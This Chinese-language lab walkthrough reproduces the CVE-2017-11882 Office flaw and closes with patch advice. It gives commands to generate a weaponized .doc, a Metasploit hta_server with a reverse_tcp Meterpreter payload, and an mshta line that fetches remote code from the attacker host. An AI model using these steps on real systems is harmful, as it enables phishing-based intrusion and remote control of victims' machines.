CVE-2017-11882復現-office命令執行
0x01 前言
11月14日,微軟按照慣例發布了11月的安全更新,隨後不久,安全公司EMBEDI在官方博客上公開了其向微軟提交的編號為CVE-2017-11882的Office遠程代碼執行漏洞:
https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
講述了他們如何發現這個漏洞的過程,並揭露了該漏洞的部分技術細節,不過沒有公開漏洞驗證代碼(PoC)。
我們根據EMBEDI的這篇報告,並結合自身的分析,第一時間構造出了可以彈出計算器的PoC,並得出結論:該漏洞的利用代碼非常簡單而且穩定,極易用於黑客攻擊,特別是釣魚郵件攻擊:利用漏洞可以很容易構造出包括惡意代碼的Office文檔,點擊後無需任何用戶交互就可以遠程執行任意代碼。同時,漏洞影響所有的Microsoft Office版本以及Office 365。意識到問題的嚴重性之後,我們發布了CVE-2017-11882的第一次預警通告。
0x02 測試環境
攻擊機:kali2.0 ip:192.168.42.162 受害機:win7 office2007
使用 Ridter 師傅改進過的腳本:
https://github.com/Ridter/CVE-2017-11882/
生成漏洞 doc 文件,首先簡單的測試一下是否能夠彈出計算器,命令如下:
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
既然能夠實現彈出,那我們可以構造執行 powershell 直接獲取 msf 會話
0x03 深入利用
在利用前需要了解下什麽是hta,HTA是HTML Application的縮寫(HTML應用程序),是軟件開發的新概念,直接將HTML保存成HTA的格式,就是一個獨立的應用軟件,與VB、C++等程序語言所設計的軟件界面沒什麽差別。它的程序碼可以像 HTML 一樣被編輯和檢查。在 hta 文件中 VBScript 和 JavaScript 的程序碼可以任意混合。HTA 雖然用 HTML、JS 和 CSS 編寫,卻比普通網頁權限大得多。它具有桌面程序的所有權限(讀寫文件、操作註冊表等)。hta 本來就是被設計為桌面程序的。
1.利用msf生成powershell 的利用腳本
選擇利用模塊,設置下路徑
use exploit/windows/misc/hta_server set URIPATH test
選擇監聽模塊,設置下本機ip,運行
set payload windows/meterpreter/reverse_tcp set lhost 192.168.42.162
exploit
這裏使用的是 43 字符限制的腳本 ( github 上還有 109 字符限制的腳本),命令長度有 43 字符的限制,可以使用 URIPATH 設置路徑,盡量短一點,避免加起來超過 43 字符,這裏生成的代碼 payload 是:
mshta.exe http://192.168.42.162:8080/test
2.使用腳本生成漏洞doc文件,代碼如下:
python Command43b_CVE-2017-11882.py -c "mshta.exe http://192.168.42.162:8080/test" -o exp.doc
測試機打開 doc 文件後就會通過 mshta 去執行鏈接中的 hta 嵌套的 VBS 代碼,從而執行 powershell 命令,隨便用一個瀏覽器打開鏈接,就可以下載到 test.hta,文件內容如下:
3、測試機打開文件後,攻擊機就會獲取到 msf 會話。
現在我們已經獲取到了win7的shell,這裏要註意下,因為我們這裏結合了powershell來獲取msf的回話,然而xp系統上默認沒有powershell,所以在xp上需要先安裝powershell才能得到回話。下載powershell通過命令執行也可以下載安裝,詳情請百度下,這裏就不過多的累贅了。
0x04 修復方案
目前微軟公司已經發布了安全補丁下載微軟對此漏洞補丁:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882
大家可以安裝補丁修復該漏洞並開啟自動更新功能,另外大部分殺軟已經采取了防禦措施,經測試部分殺軟直接把 mshta、rundll32、powershell 執行的命令都會做相關攔截,並提示給用戶這是惡意操作。
CVE-2017-11882復現-office命令執行